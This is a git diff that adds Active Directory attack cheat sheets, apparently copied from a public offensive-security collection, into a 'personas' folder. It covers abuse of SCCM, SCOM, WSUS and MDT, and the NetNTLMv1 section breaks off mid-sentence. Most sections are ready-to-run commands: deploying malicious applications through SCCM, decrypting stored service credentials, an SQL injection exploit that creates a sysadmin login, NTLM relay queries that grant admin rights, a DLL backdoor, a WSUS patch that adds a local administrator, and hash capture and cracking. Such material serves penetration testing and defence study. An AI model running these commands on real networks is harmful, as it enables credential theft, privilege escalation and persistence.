- Tom Tervoort](https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf) +* [Timeroasting: Attacking Trust Accounts in Active Directory - Tom Tervoort - 01 March 2023](https://www.secura.com/blog/timeroasting-attacking-trust-accounts-in-active-directory) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-tricks.md b/personas/_shared/internal-allthethings/active-directory/ad-tricks.md new file mode 100644 index 0000000..975e159 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-tricks.md @@ -0,0 +1,38 @@ +# Active Directory - Tricks + +## Kerberos Clock Synchronization + +In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is `5 minutes`, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes. + +* Detect clock skew automatically with `nmap` + + ```powershell + $ nmap -sV -sC 10.10.10.10 + clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s + ``` + +* Compute yourself the difference between the clocks + + ```ps1 + nmap -sT 10.10.10.10 -p445 --script smb2-time -vv + ``` + +* Fix #1: Modify your clock + + ```ps1 + sudo date -s "14 APR 2015 18:25:16" # Linux + net time /domain /set # Windows + ``` + +* Fix #2: Fake your clock + + ```ps1 + faketime -f '+8h' date + ``` + +## References + +* [BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x](https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/) +* [Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it - @chryzsh](https://chryzsh.gitbooks.io/darthsidious/content/building-a-lab/building-a-lab/building-a-small-lab.html) +* [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf) +* [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](https://www.sqlshack.com/build-sql-server-virtual-lab-automatedlab-hyper-v/) diff --git a/personas/_shared/internal-allthethings/active-directory/deployment-mdt.md b/personas/_shared/internal-allthethings/active-directory/deployment-mdt.md new file mode 100644 index 0000000..5be773f --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/deployment-mdt.md @@ -0,0 +1,41 @@ +# Deployment - MDT + +Microsoft Deployment Toolkit (MDT) is a free tool from Microsoft used to automate the deployment of Windows operating systems and applications. + +It lets IT admins create a central deployment share with OS images, drivers, updates, and apps, then use automated scripts (task sequences) to install them on multiple computers, either over the network (Lite Touch) or from media (USB/DVD). + +## Deployment Share + +These files contains credentials used by Microsoft Deployment Toolkit to join a computer to the domain and to access network resources. + +* **Bootstrap.ini** - Located in `DeploymentShare\Control\Bootstrap.ini` +* **CustomSettings.ini** - Located in `DeploymentShare\Control\CustomSettings.ini` + +| Name | Description | +| --- | --- | +| DomainAdmin | Account used to join the computer to the domain | +| DomainAdminPassword | Password used to join the computer to the domain | +| UserID | Account used for accessing network resources | +| UserPassword | Password used for accessing network resources | +| AdminPassword | The local administrator account on the computer | +| ADDSUserName | Account used when promoting to DC during deployment | +| ADDSPassword | Password used when promoting to DC during deployment | +| Password | Password to use for promoting member server to a domain controller | +| SafeModeAdminPassword | Used when deploying DCs, it is the AD restore mode password | +| TPMOwnerPassword | The TPM password if not set already | +| DBID | Account used to connect to SQL server during deployment | +| DBPwd | Password used to connect to SQL server during deployment | +| OSDBitLockerRecoveryPassword | BitLocker recovery password | + +Other credentials can be found inside the files hosted in the deployment share: + +* `DeploymentShare\Control\TASKSEQUENCENAME\ts.xml` +* `DeploymentShare\Scripts\` folder +* `DeploymentShare\Applications` folder +* `LiteTouchPE_x86|x64.iso`, extract files and look for `bootstrap.ini` +* `LiteTouchPE_x86|x64.wim`, extract files and look for `bootstrap.ini` + +## References + +* [Red Team Gold: Extracting Credentials from MDT Shares - Oddvar Moe - May 20, 2025](https://trustedsec.com/blog/red-team-gold-extracting-credentials-from-mdt-shares) +* [MDT, where are you? - BlackWasp - June 27, 2025](https://hideandsec.sh/books/windows-sNL/page/mdt-where-are-you) diff --git a/personas/_shared/internal-allthethings/active-directory/deployment-sccm.md b/personas/_shared/internal-allthethings/active-directory/deployment-sccm.md new file mode 100644 index 0000000..d16ab46 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/deployment-sccm.md @@ -0,0 +1,373 @@ +# Deployment - SCCM + +> SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation. + +## SCCM Application Deployment + +> Application Deployment is a process that involves packaging software applications and distributing them to selected computers or devices within an organization + +**Tools**: + +* [PowerShellMafia/PowerSCCM - PowerShell module to interact with SCCM deployments](https://github.com/PowerShellMafia/PowerSCCM) +* [nettitude/MalSCCM - Abuse local or remote SCCM servers to deploy malicious applications to hosts they manage](https://github.com/nettitude/MalSCCM) + +**Exploitation**: + +* Using **SharpSCCM** + + ```ps1 + .\SharpSCCM.exe get devices --server --site-code + .\SharpSCCM.exe exec -d -r + .\SharpSCCM.exe exec -d WS01 -p "C:\Windows\System32\ping 10.10.10.10" -s --debug + ``` + +* Compromise client, use locate to find management server + + ```ps1 + MalSCCM.exe locate + ``` + +* Enumerate over WMI as an administrator of the Distribution Point + + ```ps1 + MalSCCM.exe inspect /server: /groups + ``` + +* Compromise management server, use locate to find primary server +* Use `inspect` on primary server to view who you can target + + ```ps1 + MalSCCM.exe inspect /all + MalSCCM.exe inspect /computers + MalSCCM.exe inspect /primaryusers + MalSCCM.exe inspect /groups + ``` + +* Create a new device group for the machines you want to laterally move too + + ```ps1 + MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device + MalSCCM.exe inspect /groups + ``` + +* Add your targets into the new group + + ```ps1 + MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL + ``` + +* Create an application pointing to a malicious EXE on a world readable share : `SCCMContentLib$` + + ```ps1 + MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\localthread.exe" + MalSCCM.exe inspect /applications + ``` + +* Deploy the application to the target group + + ```ps1 + MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment + MalSCCM.exe inspect /deployments + ``` + +* Force the target group to checkin for updates + + ```ps1 + MalSCCM.exe checkin /groupname:TargetGroup + ``` + +* Cleanup the application, deployment and group + + ```ps1 + MalSCCM.exe app /cleanup /name:demoapp + MalSCCM.exe group /delete /groupname:TargetGroup + ``` + +## SCCM Enumeration + +* [garrettfoster13/sccmhunter](https://github.com/garrettfoster13/sccmhunter) - SCCMHunter is a post-ex tool built to streamline identifying, profiling, and attacking SCCM related assets in an Active Directory domain. + + ```ps1 + sccmhunter.py find -u user -p P@ssw0rd -dc-ip 10.10.10.10 -d lab.lan + sccmhunter.py show -siteservers + ``` + +## SCCM Shares + +> Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares + +* [1njected/CMLoot](https://github.com/1njected/CMLoot) + + ```ps1 + Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt + Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml + Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi + ``` + +## SCCM Configuration Manager + +* [subat0mik/Misconfiguration-Manager/MisconfigurationManager.ps1](https://github.com/subat0mik/Misconfiguration-Manager) - Misconfiguration Manager is a central knowledge base for all known Microsoft Configuration Manager tradecraft and associated defensive and hardening guidance. + +### CRED-1 Retrieve credentials via PXE boot media + +* [Misconfiguration-Manager - CRED-1](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-1/cred-1_description.md) + +**Requirements**: + +* On the SCCM Distribution Point: `HKLM\Software\Microsoft\SMS\DP\PxeInstalled` = 1 +* On the SCCM Distribution Point: `HKLM\Software\Microsoft\SMS\DP\IsPxe` = 1 +* PXE-enabled distribution point + +**Exploitation**: + +* [csandker/pxethiefy](https://github.com/csandker/pxethiefy) + + ```ps1 + sudo python3 pxethiefy.py explore -i eth0 + ``` + +* [MWR-CyberSec/PXEThief](https://github.com/MWR-CyberSec/PXEThief) + +### CRED-2 Request a policy containing credentials + +* [Misconfiguration-Manager - CRED-2](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md) + +**Requirements**: + +* PKI certificates are not required for client authentication +* Domain accounts credential + +**Exploitation**: + +Create a machine or compromise an existing one, then request policies such as `NAAConfig` + +Easy mode using `SharpSCCM` + +```ps1 +addcomputer.py -computer-name 'attacker$' -computer-pass P@ssw0rd -dc-ip 10.10.10.10 lab.lan/user:'P@ssw0rd' +SharpSCCM.exe get naa -r newdevice -u attacker$ -p P@ssw0rd +SharpSCCM get naa +SharpSCCM get secrets -u -p +``` + +Stealthy mode by creating a computer. + +* Create a machine account with a specific password: `addcomputer.py -computer-name 'customsccm$' -computer-pass 'YourStrongPassword123*' 'sccm.lab/carol:SCCMftw' -dc-ip 192.168.33.10` +* In your `/etc/hosts` file, add an entry for the MECM server: `192.168.33.11 MECM MECM.SCCM.LAB` +* Use `sccmwtf` to request a policy: `python3 sccmwtf.py fake fakepc.sccm.lab MECM 'SCCMLAB\customsccm$' 'YourStrongPassword123*'` +* Parse the policy to extract the credentials and decrypt them using [sccmwtf/policysecretunobfuscate.py](https://github.com/xpn/sccmwtf/blob/main/policysecretunobfuscate.py): `cat /tmp/naapolicy.xml |grep 'NetworkAccessUsername\|NetworkAccessPassword' -A 5 |grep -e 'CDATA' | cut -d '[' -f 3|cut -d ']' -f 1| xargs -I {} python3 policysecretunobfuscate.py {}` + +### CRED-3 Extract currently deployed credentials stored as DPAPI blobs + +> Dump currently deployed secrets via WMI. If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials. + +* [Misconfiguration-Manager - CRED-3](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-3/cred-3_description.md) + +**Requirements**: + +* Local administrator privileges on an SCCM client + +**Exploitation**: + +* Find SCCM blob + + ```ps1 + Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount" + NetworkAccessPassword : + NetworkAccessUsername : + ``` + +* Using [GhostPack/SharpDPAPI](https://github.com/GhostPack/SharpDPAPI/blob/81e1fcdd44e04cf84ca0085cf5db2be4f7421903/SharpDPAPI/Commands/SCCM.cs#L208-L244) + + ```ps1 + $str = "060...F2DAF" + $bytes = for($i=0; $i -lt $str.Length; $i++) {[byte]::Parse($str.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber); $i++} + $b64 = [Convert]::ToBase64String($bytes[4..$bytes.Length]) + .\SharpDPAPI.exe blob /target:$b64 /mkfile:masterkeys.txt + ``` + +* Using [Mayyhem/SharpSCCM](https://github.com/Mayyhem/SharpSCCM) for SCCM retrieval and decryption + + ```ps1 + .\SharpSCCM.exe local secrets -m wmi + ``` + +From a remote machine. + +* Using [garrettfoster13/sccmhunter](https://github.com/garrettfoster13/sccmhunter) + + ```ps1 + python3 ./sccmhunter.py http -u "administrator" -p "P@ssw0rd" -d internal.lab -dc-ip 10.10.10.10. -auto + ``` + +### CRED-4 Extract legacy credentials stored as DPAPI blobs + +* [Misconfiguration-Manager - CRED-4](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-4/cred-4_description.md) + +**Requirements**: + +* Local administrator privileges on an SCCM client + +**Exploitation**: + +* Search the database using `SharpDPAPI` + + ```ps1 + .\SharpDPAPI.exe search /type:file /path:C:\Windows\System32\wbem\Repository\OBJECTS.DATA + ``` + +* Search the database using `SharpSCCM` + + ```ps1 + .\SharpSCCM.exe local secrets -m disk + ``` + +* Check ACL for the CIM repository located at `C:\Windows\System32\wbem\Repository\OBJECTS.DATA`: + + ```ps1 + Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Property PSPath,sddl + ConvertFrom-SddlString "" + ``` + +### CRED-5 Extract the SC_UserAccount table from the site database + +* [Misconfiguration-Manager - CRED-5](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-5/cred-5_description.md) + +**Requirements**: + +* Site database access +* Primary site server access + * Access to the private key used for encryption + +**Exploitation**: + +* [gentilkiwi/mimikatz](https://twitter.com/gentilkiwi/status/1392204021461569537) + + ```ps1 + mimikatz # misc::sccm /connectionstring:"DRIVER={SQL Server};Trusted=true;DATABASE=ConfigMgr_CHQ;SERVER=CM1;" + ``` + +* [skahwah/SQLRecon](https://github.com/skahwah/SQLRecon), only if the site server and database are hosted on the same system + + ```ps1 + SQLRecon.exe /auth:WinToken /host:CM1 /database:ConfigMgr_CHQ /module:sDecryptCredentials + ``` + +* SQLRecon + [xpn/sccmdecryptpoc.cs](https://gist.github.com/xpn/5f497d2725a041922c427c3aaa3b37d1) + + ```ps1 + SQLRecon.exe /auth:WinToken /host: /database:CM_ /module:query /command:"SELECT * FROM SC_UserAccount" + sccmdecryptpoc.exe 0C010000080[...]5D6F0 + ``` + +### Unauthenticated SQL Injection - CVE-2024-43468 + +* [synacktiv/CVE-2024-43468](https://github.com/synacktiv/CVE-2024-43468) - Microsoft Configuration Manager (ConfigMgr / SCCM) 2403 Unauthenticated SQL injections (CVE-2024-43468) exploit + +```ps1 +$ CVE-2024-43468.py -t cmc.corp.local -sql "create login [CORP\user1] from windows ; exec master.dbo.sp_addsrvrolemember [CORP\user1], 'sysadmin'" +$ mssqlclient.py -debug -windows-auth 'CORP/user1:xxx'@cmc-db.corp.local +SQL> select name from sysdatabases where name like 'CM_%' +``` + +## SCCM Relay + +### TAKEOVER1 - Low Privileges to Database Administrator - MSSQL relay + +**Requirements**: + +* Database separated from the site server +* Server site is sysadmin of the database + +**Exploitation**: + +* Generate the query to elevate our user: + + ```ps1 + python3 sccmhunter.py mssql -u carol -p SCCMftw -d sccm.lab -dc-ip 192.168.33.10 -debug -tu carol -sc P01 -stacked + ``` + +* Setup a relay with the generated query: + + ```ps1 + ntlmrelayx.py -smb2support -ts -t mssql://192.168.33.12 -q "USE CM_P01; INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (0x01050000000000051500000058ED3FD3BF25B04EDE28E7B85A040000,'SCCMLAB\carol',0,0,'','','','','P01');INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00ALL','29');INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00001','1'); INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00004','1');" + ``` + +* Coerce an authentication to your listener using a domain account: + + ```ps1 + petitpotam.py -d sccm.lab -u carol -p SCCMftw 192.168.33.1 192.168.33.11 + ``` + +* Finally, connect as admin on the MSSQL server: + + ```ps1 + python3 sccmhunter.py admin -u carol@sccm.lab -p 'SCCMftw' -ip 192.168.33.11 + ``` + +### TAKEOVER2 - Low Privileges to MECM Admin Account - SMB relay + +Microsoft requires the site server's computer account to be an administrator on the MSSQL server. + +**Exploitation**: + +* Start a listener for the MSSQL Server: `ntlmrelayx -t 192.168.33.12 -smb2support -socks` +* Coerce an authentication from the Site Server using domain credentials (low privileges SCCM NAA retrieved on the same machine works great): `petitpotam.py -d sccm.lab -u sccm-naa -p 123456789 192.168.33.1 192.168.33.11` +* Finally use the SOCKS from `ntlmrelayx` to access the MSSQL server as a local administrator + + ```ps1 + proxychains -q smbexec.py -no-pass SCCMLAB/'MECM$'@192.168.33.12 + proxychains -q secretsdump.py -no-pass SCCMLAB/'MECM$'@192.168.33.12 + ``` + +### ELEVATE 2 - NTLM Relay with Automatic Client Push Authentication + +**Requirements**: + +* Automatic site-wide client push installation enabled +* Automatic site device approval +* Fallback authentication to NTLM + +**Exploitation**: + +```ps1 +SharpSCCM.exe invoke client-push -t 192.168.1.50 +ntlmrelayx.py -t mssql01.lab.lan -smb2support +``` + +## SCCM Persistence + +* [mandiant/CcmPwn](https://github.com/mandiant/CcmPwn) - lateral movement script that leverages the CcmExec service to remotely hijack user sessions. + +CcmExec is a service native to SCCM Windows clients that is executed on every interactive session. This technique requires Adminsitrator privileges on the targeted machine. + +* Backdoor the `SCNotification.exe.config` to load your DLL + + ```ps1 + python3 ccmpwn.py domain/user:password@workstation.domain.local exec -dll evil.dll -config exploit.config + ``` + +* Malicious config to force `SCNotification.exe` to load a file from an attacker-controlled file share + + ```ps1 + python3 ccmpwn.py domain/user:password@workstation.domain.local coerce -computer 10.10.10.10 + ``` + +## References + +* [Attacking and Defending Configuration Manager - An Attackers Easy Win - Logan Goins - April 25, 2025](https://logan-goins.com/2025-04-25-sccm/) +* [Decrypting the Forest From the Trees - Garrett Foster - March 6, 2025](https://specterops.io/blog/2025/03/06/decrypting-the-forest-from-the-trees/) +* [Exploiting RBCD Using a Normal User Account - tiraniddo.dev - May 13, 2022](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html) +* [Exploring SCCM by Unobfuscating Network Access Accounts - @_xpn_ - July 9, 2022](https://blog.xpnsec.com/unobfuscating-network-access-accounts/) +* [Further Adventures With CMPivot — Client Coercion - Diego Lomellini - February 3, 2025](https://posts.specterops.io/further-adventures-with-cmpivot-client-coercion-38b878b740ac) +* [Introducing ConfigManBearPig, a BloodHound OpenGraph Collector for SCCM - Chris Thompson - January 13, 2026](https://specterops.io/blog/2026/01/13/introducing-configmanbearpig-a-bloodhound-opengraph-collector-for-sccm/) +* [Introducing MalSCCM - Phil Keeble -May 4, 2022](https://labs.nettitude.com/blog/introducing-malsccm/) +* [Misconfiguration Manager: Overlooked and Overprivileged - Duane Michael - March 5, 2024](https://posts.specterops.io/misconfiguration-manager-overlooked-and-overprivileged-70983b8f350d) +* [Network Access Accounts are evil… - Roger Zander - September 13, 2015](https://rzander.azurewebsites.net/network-access-accounts-are-evil/) +* [Relaying NTLM Authentication from SCCM Clients - Chris Thompson - June 30, 2022](https://posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867) +* [SCCM / MECM LAB - Part 0x0 - mayfly - March 23, 2024](https://mayfly277.github.io/posts/SCCM-LAB-part0x0/) +* [SCCM / MECM LAB - Part 0x1 - Recon and PXE - mayfly - March 28, 2024](https://mayfly277.github.io/posts/SCCM-LAB-part0x1/) +* [SCCM / MECM LAB - Part 0x2 - Low user - mayfly - March 28, 2024](https://mayfly277.github.io/posts/SCCM-LAB-part0x2/) +* [SCCM / MECM LAB - Part 0x3 - Admin User - mayfly - April 3, 2024](https://mayfly277.github.io/posts/SCCM-LAB-part0x3/) +* [SeeSeeYouExec: Windows Session Hijacking via CcmExec - Andrew Oliveau - March 28, 2024](https://cloud.google.com/blog/topics/threat-intelligence/windows-session-hijacking-via-ccmexec?hl=en) +* [The Phantom Credentials of SCCM: Why the NAA Won’t Die - Duane Michael - June 28, 2022](https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9) diff --git a/personas/_shared/internal-allthethings/active-directory/deployment-scom.md b/personas/_shared/internal-allthethings/active-directory/deployment-scom.md new file mode 100644 index 0000000..4dd614a --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/deployment-scom.md @@ -0,0 +1,62 @@ +# Deployment - SCOM + +> Microsoft SCOM (System Center Operations Manager) is a monitoring tool used to oversee the health and performance of servers, applications, and infrastructure in IT environments. It collects data from systems, generates alerts for issues, and provides dashboards and reports for administrators. + +## Tools + +* [breakfix/SharpSCOM](https://github.com/breakfix/SharpSCOM) - A C# utility for interacting with SCOM. +* [nccgroup/SCOMDecrypt](https://github.com/nccgroup/SCOMDecrypt) - SCOMDecrypt is a tool to decrypt stored RunAs credentials from SCOM servers. + +## SCOM “RunAs” credentials + +### Recovery from SCOM database + +The location of the SCOM database containing the RunAs credentials can be found by querying the following registry keys: + +```ps1 +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName +``` + +Decrypt the stored credentials stored inside the SCOM management server database: + +```ps1 +.\SCOMDecrypt.exe +powershell-import C:\path\to\SCOMDecrypt.ps1 +powershell Invoke-SCOMDecrypt +``` + +### Recovery via Registry + +Stored at `HKLM\SYSTEM\CurrentControlSet\Services\HealthService\Parameters\Management Groups\$MANAGEMENT_GROUP$\SSDB\SSIDs\`. + +```ps1 +.\SharpSCOM.exe DecryptRunAs +``` + +### Recovery via Policy File + +Use DPAPI to decrypt the RunAs credential from the policy. + +```ps1 +cat C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Connector Configuration Cache\$MANAGEMENT_GROUP_NAME$\OpsMgrConnector.Config +SharpSCOM DecryptPolicy /data: +``` + +### Recovery after enrolling a new agent + +**Requirements**: + +* Management group name: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HealthService\Parameters\Management Groups\*` + +```ps1 +SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom.domain.lab /hostname:fake1.domain.lab /outfile:C:\Users\admin\desktop\policy_new.xml + +# After enrolling a new agent, the attacker can decrypt the policy +SharpSCOM.exe decryptpolicy /data:"DAEAAA /key: +``` + +## References + +* [SCOMmand And Conquer – Attacking System Center Operations Manager (Part 2) - Matt Johnson - December 10, 2025](https://specterops.io/blog/2025/12/10/scommand-and-conquer-attacking-system-center-operations-manager-part-2/) +* [SCOMplicated? – Decrypting SCOM “RunAs” credentials - Rich Warren - February 23, 2017](https://www.nccgroup.com/research-blog/scomplicated-decrypting-scom-runas-credentials/) diff --git a/personas/_shared/internal-allthethings/active-directory/deployment-wsus.md b/personas/_shared/internal-allthethings/active-directory/deployment-wsus.md new file mode 100644 index 0000000..2cad735 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/deployment-wsus.md @@ -0,0 +1,14 @@ +# Deployment - WSUS + +> Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network + +:warning: The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary. + +* [SharpWSUS](https://github.com/nettitude/SharpWSUS) + +1. Locate using `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate` or `SharpWSUS.exe locate` +2. After WSUS Server compromise: `SharpWSUS.exe inspect` +3. Create a malicious patch: `SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"` +4. Deploy it on the target: `SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"` +5. Check status deployment: `SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local` +6. Clean up: `SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group` diff --git a/personas/_shared/internal-allthethings/active-directory/hash-capture.md b/personas/_shared/internal-allthethings/active-directory/hash-capture.md new file mode 100644 index 0000000..5c72d16 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/hash-capture.md @@ -0,0 +1,135 @@ +# Hash - Capture and Cracking + +## LmCompatibilityLevel + +LmCompatibilityLevel is a Windows security setting that determines the level of authentication protocol used between computers. It specifies how Windows handles NTLM and LAN Manager (LM) authentication protocols, impacting how passwords are stored and how authentication requests are processed. The level can range from 0 to 5, with higher levels generally providing more secure authentication methods. + +```ps1 +reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel +``` + +* **Level 0** - Send LM and NTLM response; never use NTLM 2 session security. Clients use LM and NTLM authentication, and never use NTLM 2 session security; domain controllers accept LM, NTLM, and NTLM 2 authentication. +* **Level 1** - Use NTLM 2 session security if negotiated. Clients use LM and NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication. +* **Level 2** - Send NTLM response only. Clients use only NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication. +* **Level 3** - Send NTLM 2 response only. Clients use NTLM 2 authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication. +* **Level 4** - Domain controllers refuse LM responses. Clients use NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers refuse LM authentication (that is, they accept NTLM and NTLM 2). +* **Level 5** - Domain controllers refuse LM and NTLM responses (accept only NTLM 2). Clients use NTLM 2 authentication, use NTLM 2 session security if the server supports it; domain controllers refuse NTLM and LM authentication (they accept only NTLM 2).A client computer can only use one protocol in talking to all servers. You cannot configure it, for example, to use NTLM v2 to connect to Windows 2000-based servers and then to use NTLM to connect to other servers. This is by design. + +## Capturing Net-NTLMv1/NTLMv1 hashes + +> Net-NTLMv1 (NTLMv1) authentication tokens are used for network authentication. They are derived from a challenge/response DES-based algorithm with the user's NT-hash as symetric keys. + +:information_source: Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to **NetNTLMv1 Challenge/Response authentication**. This uses the outdated encryption method DES to protect the NT/LM Hashes. + +**Requirements**: + +* `LmCompatibilityLevel = 0x1`: Send LM and NTLM response + +**Exploitation**: + +* Capturing using [lgandx/Responder](https://github.com/lgandx/Responder): Edit the `/etc/responder/Responder.conf` file to include the magical **1122334455667788** challenge + + ```ps1 + HTTPS = On + DNS = On + LDAP = On + ... + ; Custom challenge. + ; Use "Random" for generating a random challenge for each requests (Default) + Challenge = 1122334455667788 + ``` + +* Fire Responder: `responder -I eth0 --lm`, if `--disable-ess` is set, extended session security will be disabled for NTLMv1 authentication +* Force a callback: + + ```ps1 + PetitPotam.exe Responder-IP DC-IP # Patched around August 2021 + PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users + ``` + +## Cracking Net-NTLMv1/NTLMv1 hashes + +* If you got some `NetNTLMv1 tokens`, you can try to **shuck** them online via [shuck.sh](https://shuck.sh/) or locally/on-premise via [ShuckNT](https://github.com/yanncam/ShuckNT/) to get NT-hashes corresponding from [HIBP database](https://haveibeenpwned.com/Passwords). If the NT-hash has previously leaked, the NetNTLMv1 is converted to NT-hash ([pass-the-hash](./hash-pass-the-hash.md) ready) instantly. The [shucking process](https://www.youtube.com/watch?v=OQD3qDYMyYQ) works for any NetNTLMv1 with or without ESS/SSP (challenge != `1122334455667788`) but mainly for user account (plaintext previsouly leaked). + + ```ps1 + # Submit NetNTLMv1 online to https://shuck.sh/get-shucking.php + # Or shuck them on-premise via ShuckNT script: + $ php shucknt.php -f tokens-samples.txt -w pwned-passwords-ntlm-reversed-ordered-by-hash-v8.bin + + [...] + 10 hashes-challenges analyzed in 3 seconds, with 8 NT-Hash instantly broken for pass-the-hash and 1 that can be broken via crack.sh for free. + [INPUT] ycam::ad:DEADC0DEDEADC0DE00000000000000000000000000000000:70C249F75FB6D2C0AC2C2D3808386CCAB1514A2095C582ED:1122334455667788 + [NTHASH-SHUCKED] 93B3C62269D55DB9CA660BBB91E2BD0B + ``` + +* If you got some `NetNTLMv1 tokens`, you can also try to crack them via [crack.sh](https://crack.sh/)/[ntlmv1.com](https://ntlmv1.com/). For this you need to format them to submit them on [crack.sh](https://crack.sh/netntlm/)/[ntlmv1.com](https://ntlmv1.com/). The converter of [shuck.sh](https://shuck.sh/) can be used to format easily. + + ```ps1 + # When there is no-ESS/SSP and the challenge is set to 1122334455667788, it's free (0$): + username::hostname:response:response:challenge -> NTHASH:response + NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 + + # When there is ESS/SSP or challenge != 1122334455667788, it's chargeable from $20-$200: + username::hostname:lmresponse+0padding:ntresponse:challenge -> $NETNTLM$challenge$ntresponse + $NETNTLM$DEADC0DEDEADC0DE$507E2A2131F4AF4A299D8845DE296F122CA076D49A80476E + ``` + +* Finaly, if no [shuck.sh](https://shuck.sh/) nor [crack.sh](https://crack.sh/) can be used, you can try to break NetNTLMv1 with Hashcat / John The Ripper. Use [Net-NTLMv1 Rainbow Tables](https://tables.blurbdust.pw/) to speed up the plain text recovery. + + ```ps1 + john --format=netntlm hash.txt + hashcat -m 5500 -a 3 hash.txt # for NetNTLMv1(-ESS/SSP) to plaintext (for user account) + hashcat -m 27000 -a 0 hash.txt nthash-wordlist.txt # for NetNTLMv1(-ESS/SSP) to NT-hash (for user and computer account, depending on nthash-wordlist quality) + hashcat -m 14000 -a 3 inputs.txt --hex-charset -1 /usr/share/hashcat/charsets/DES_full.hcchr ?1?1?1?1?1?1?1?1 # for NetNTLMv1(-ESS/SSP) to DES-keys (KPA-attack) of user/computer account with 100% success rate, then regenerate NT-hash with these DES-keys on https://shuck.sh/converter.php. + ``` + +* Now you can DCSync using the Pass-The-Hash with the DC machine account + +:warning: NetNTLMv1 with ESS / SSP (Extended Session Security / Security Support Provider) changes the final challenge by adding a new alea (!= `1122334455667788`, so chargeable on 